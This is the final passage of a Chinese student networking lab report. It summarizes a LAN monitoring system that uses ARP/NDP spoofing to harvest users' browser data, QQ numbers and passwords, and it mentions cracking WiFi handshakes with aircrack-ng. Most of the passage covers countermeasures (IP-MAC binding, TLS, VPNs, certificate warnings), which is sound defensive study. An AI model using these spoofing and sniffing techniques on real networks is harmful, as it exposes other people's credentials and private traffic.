  • 可执行断网

7.5 用户信息

位于 http://127.0.0.1/user/,通过深度数据包分析,解析出用户的各种敏感信息,包括浏览器信息、QQ 号、最常访问域名、敏感信息(来源、用户名或类别、密码或敏感信息)等,轮询更新。

8. 反监控措施

我们实施流量监控和攻击的目的,是为了探究更好的防御措施,避免个人信息被泄露,实现加密的、自由的通信。

这种类型的攻击和流量监控成本非常低,很容易实现,只要加入了同一个 LAN,且该 LAN 的网关或下面的主机没有做具体的防护措施,就可以监听 LAN 下面的任何主机。事实上,很多家用的 WiFi、以及酒店、商场、咖啡厅的公共 WiFi,包括很多人的电脑和手机,都没有有效的防御措施。例如在宿舍使用的 TP-LINK 的路由器,即使是新款路由器,支持 5G 频段信号,支持 IPv6 协议,也是成功被欺骗。而且在实际的多次测试中,连在该路由下的 iPhone、iPad、PC、树莓派统统被成功欺骗。

再加上第二次计网实验中,使用无线网卡抓取 802.11 原始数据包的内容,我们可以通过在某个 AP 附近先尝试抓取握手包,然后离线针对握手包进行密码爆破(如 Kali 中的 aircrack-ng 工具),再接入该 AP,这样可以在 WiFi 密码未知的情况下进一步实施 ARP/NDP 欺骗。可想而知,这样的攻击方式会对我们造成很大的威胁!为了避免类似的攻击措施,提出并实验了以下的解决方法:

8.1 IP 和 MAC 绑定

首先,该系统的核心是欺骗。如果能阻止欺骗攻击,就可以有效的防御。对于路由器而言,现在的很多路由器支持 IP 与 MAC 绑定功能:

如果我们为树莓派设置 IP 与 MAC 绑定,则效果如下:

可以看到,树莓派立刻发送了(也可能是路由器伪造树莓派 MAC 地址发送的)说明前面的是无效的 ARP 信息(Gratuitous ARP),之后声明自己真实的 MAC 地址(ARP Announcement),导致 ARP 欺骗无效。但是该路由器没有提供 IPv6 地址的绑定,导致访问 IPv6 网站时仍然被成功欺骗并抓包:

因此,被欺骗的可能性仍然存在,不能仅靠该方法避免。同时,由于这种抓包和攻击的程序除了放在本实验中的网络拓扑结构的另一台主机上外,还可以直接放在可编程的交换机、可编程的路由器上。甚至有的网络环境本身采用集线器,不用欺骗就可以抓到各自收发的包,因此,除了链路层上欺骗攻击的避免外,还需要更高层安全协议的保护。

8.2 使用安全的协议

如计网第七章说的,网络层及以上的安全协议包括 IPSec、TLS 以及一些 VPN 的相关协议。例如,上图使用 HTTPS 访问学院官网,则该流量的明文如果没有客户端生成的 Pre-Master Key 的日志或者服务器的私钥,是无法解密的。但是,由于 TLS 处于应用层,因此我们还是可以根据 IP 和之前抓到的 DNS 响应报文来推断用户正在访问的网站。

如果为了进一步的隐私保护的需要,可以使用可信任的商业 VPN 或自己搭建代理服务器,建立客户端和服务器之间的加密连接,之后由服务器转发客户端的流量,这样在本地就无法知道你要访问的真正目的 IP 地址,也无法得知明文内容,因此基于 IP、域名和敏感词的断网规则在此处都无效了!并且访问的网站也无法得知你真正的源 IP 地址,保护了用户隐私和上网的自由。

8.3 保持良好的上网习惯

同时,针对 DNS 污染,以及中间人伪造站点的攻击时,由于中间人没有真实的站点的私钥,因此其证书不会被正常的客户端承认。因此如果发现出现 SSL 证书错误,一定要谨慎小心,不能轻易点击继续访问,因为这很可能正在经历一场中间人攻击。

9 参考文献

[1] Scapy Documentation:https://scapy.readthedocs.io/

[2] Python – How to create an ARP Spoofer using Scapy:https://www.geeksforgeeks.org/python-how-to-create-an-arp-spoofer-using-scapy/

[3] IPv6 Neighbour Spoofing:https://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/

[4] Mulitcast Addresses:https://en.wikipedia.org/wiki/Multicast_address

[5] RFC919:https://tools.ietf.org/html/rfc919

[6] RFC4291:https://tools.ietf.org/html/rfc4291

[7] IANA ICMP Parameters:https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml

[8] IANA ICMPv6 Parameters:https://www.iana.org/assignments/icmpv6-parameters/icmpv6-parameters.xhtml

[9] Build an FTP Password Sniffer with Scapy and Python:https://null-byte.wonderhowto.com/how-to/build-ftp-password-sniffer-with-scapy-and-python-0169759/

[10] TCP Reset Attack:https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2